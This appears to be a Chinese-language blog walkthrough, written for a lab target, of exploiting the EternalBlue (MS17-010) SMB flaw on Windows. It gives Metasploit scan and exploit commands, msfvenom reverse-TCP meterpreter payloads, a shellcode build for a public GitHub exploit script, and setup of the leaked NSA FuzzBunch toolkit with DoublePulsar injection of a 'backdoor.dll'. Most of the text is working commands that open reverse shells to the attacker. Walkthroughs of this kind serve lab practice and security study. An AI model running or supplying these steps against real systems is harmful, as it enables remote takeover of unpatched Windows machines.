一、前言
在復現一個靶場環境時發現 msf 自帶的 ms17-010 模塊不能成功拿到 meterpreter,自己嘗試了 github 上的 exp,學長也介紹了NSA方程式工具。這篇隨筆記錄一下工具的使用過程和 msf 掃描、利用永恆之藍漏洞的一些命令(NSA方程式工具好好用,穩的一匹)
二、msf掃描
掃描系統版本
use auxiliary/scanner/smb/smb_version set rhosts ip.ip.ip.ip run
掃描可能存在永恆之藍漏洞的機器
use auxiliary/scanner/smb/smb_ms17_010 set rhosts ip.ip.ip.ip run
三、msf漏洞利用
漏洞攻擊
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp set rhosts 靶機ip
set lhost 本地ip
set lport 4444 run
四、MS17-010
工具下載地址 https://github.com/worawit/MS17-010
設置好監聽,打開 shellcode 文件夾,執行如下命令(因為在實驗過程中,此方法不是很穩定,有一定概率收不到 meterpreter,所以只做簡單記錄)
nasm -f bin eternalblue_kshellcode_x64.asm
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=本地ip LPORT=17010
cat eternalblue_kshellcode_x64 sc_x64_msf.bin > sc_x64.bin
回退到 MS17-010 文件夾,執行如下命令(如果掛代理,注意命令前加上 proxychains),msf 監聽得到 meterpreter
python eternalblue_exploit7.py 目標ip ./shellcode/sc_x64.bin
五、NSA方程式工具
5.1環境配置
- python-2.6.msi https://www.python.org/download/releases/2.6/
- pywin32-212.win32-py2.6.exe https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/
- 方程式工具包 https://github.com/misterch0c/shadowbroker
安裝並配置好 python2.6 環境變量;使用默認設置安裝 pywin32;在 shadowbroker 的 windows 目錄下新建 logs 和 listeningports 文件夾,編輯 windows 文件夾中的 Fuzzbunch.xml 文件,修改 ResourcesDir 和 LogDir 路徑為當前的 Resources 和 logs 路徑,注釋 fb.py 源碼 72 行的 Listeningpost 相關部分
運行 fb.py,若出現以下的界面則安裝成功
5.2msfvenom生成dll文件
msfvenom 生成 dll 文件並將其復制到方程式工具所在的攻擊機上
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=本地ip LPORT=6666 -f dll > backdoor.dll
5.3獲得meterpreter
設置監聽
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 本地ip set lport 6666 exploit
運行 fb.py 設置攻擊參數
注意重定向設置為 no,callback ip address 設置為 msf 監聽 ip,其余選項多是默認設置
use eternalblue 加載永恆之藍模塊
選擇目標系統類型,選擇FB模式(該模式下進行交互性參數輸入)
目標機權限獲取成功
use Doublepulsar 加載雙倍脈沖注入模塊
設置相關參數,選擇 SMB 協議、64 位系統
設置后門方法為 run dll,根據實際情況自定義 dll 路徑
注入成功后顯示 Doublepulsar Succeeded,同時 msf 獲得 meterpreter
參考:
https://blog.csdn.net/weixin_38948797/article/details/79177880
https://blog.csdn.net/Eastmount/article/details/105407843
https://bbs.ichunqiu.com/thread-26998-1-1.html?from=sec